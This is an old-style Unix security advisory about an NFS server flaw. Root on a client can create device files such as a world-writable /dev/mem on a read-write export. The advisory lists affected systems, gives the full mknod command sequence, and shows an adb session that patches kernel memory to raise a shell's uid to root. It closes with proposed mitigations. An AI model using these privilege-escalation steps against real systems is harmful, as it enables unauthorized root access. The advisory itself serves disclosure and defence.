COMMAND

    nfsd(8)

SYSTEMS AFFECTED

    SunOS ?.?, Convex ?.?,... I suspect it's in all NFS systems.

PROBLEM

    In a  nutshell, as  root@client, I  can mknod  devices on server's
    file  system  if   it's  mounted  r/w.   I  can  easily   find   a
    world-writable directory to  put it in,  because I can  become any
    user/group  who  can  write  something  anywhere, even if "nobody"
    can't,  and  make  this  new  directory  world-writable.  I choose
    major.minor numbers on the device  so that they make sense  on the
    server, not  the client,  although it  is on  the client  that I'm
    making it. I then  change the mode of  the device 666 and  go back
    over  to  the  server  and  wreak  havoc.  Two good candidates are
    /dev/mem  or  any  disk  device.  Here's  the sequence to make the
    device; I'm root@cthulhu, my workstation:

        cthulhu# df .
        Filesystem      kbytes    used   avail  capacity  Mounted on
        globhost:/usr/spool/globdata
        371967  280812  53958     84%   /rmt/globhost/globdata

    {"globhost" is another Sun, but this works with non-Sun NSF
    systems as well. }

        cthulhu# ls -lgd .
        drwxrwxrwt 43 root    bin          4096 Dec 19 11:52 ./

    { Even  if it  weren't world-write,  I could  become the owner and
    make a world-write subdir.}

        cthulhu# ls -lg /dev/mem
        crw-r-----  1 root    kmem     3,    0 May 29 1990 /dev/mem

        cthulhu# mknod mymem c 3 0

    { I actually have to  choose the right major/minor number  for the
    server, not the client, if it's his kernel I whish to crack.}

        cthulhu# ls -l mymem
        crw-r--r--  1 -2        3,    0 Dec 19 11:49 mymem

    { See, I made it fine, and it's owned by "nobody".}

        cthulhu# chmod 666 mymem

        cthulhu# ls -l mymem
        crw-rw-rw-  1 -2        3,     0 Dec 19 11:58 mymem

    Here's way to punch my shell's uid to 0 on a Convex:

        % whoami
        tchrist

        pixel% pstat -tP $$          <- find this guy's proc addr
                    PROC  S K   THREAD S F ID  SLPQH   WCHAN RESCHFP
        tcsh       3b9ab8 S 1   5a5760 s 2  0 24e0d0 a1eb000 b4f4d74

        pixel% adb -w -k /vmunix mymem
        (adb) 3b9ab8++44/w          <- now find his users addr
        0x3b9afc:      a1eb000
        (adb) 3b9ab8+58c/h          <- check out our user id
        0x3ba048:      356
        (adb) ./h=0     <- setuid the way Real Programmers do it :-)
        0x3ba048:      356    =    0
        (adb) $q

        pixel% whoami
        root

    Of curse, finding the right offsets  is a little tiny but if  work
    maybe, but I've  wrote a program  that C dumps  structure offsets,
    so it's not too  rough. And anyone can  read the include files.  I
    also should  take care  of the  cred structure,  too, but that's a
    small matter.

SOLUTION

    The are to  my mind, three  possible solutions: 1)  Export no file
    systems read-write. Not feasible in many enviroments.  2) Disallow
    remote mknods like that. I  suspect this would break something  or
    other. 3) Add a  new option to mount  like suid that says  whether
    device files are to  be considered valid; otherwise  return ENXIO.
    Normally  only  mount  root  this  way,  and  never export root. I
    believe this will do the trick. For diskless workstations, you  of
    course have  their {the  workstation owners}  device on  your {the
    server} disk, and they can add  all the devices they want to  that
    partition, but  since that  filesystem isn't  mounted with  device
    interpretation  enabled,  it  won't  do  them  any  good anyway. I
    really  like  #3,  but  it  will  take  a  while  for  vendors  to
    coordinate  on  it.  It  also  solves  other potencial problems of
    stray devices. This  appears to be  fixed in SunOS  4.1.1 (I don't
    know wheter it worked in previous releases or not). The mknod  (as
    root in a writable nsf  mounted directory) fails with "mknod:  not
    owner."  I  assume  that  the  nsf  mknod  request  requires   the
    filesystem to be mounted with root mapped to 0 for the request  to
    work.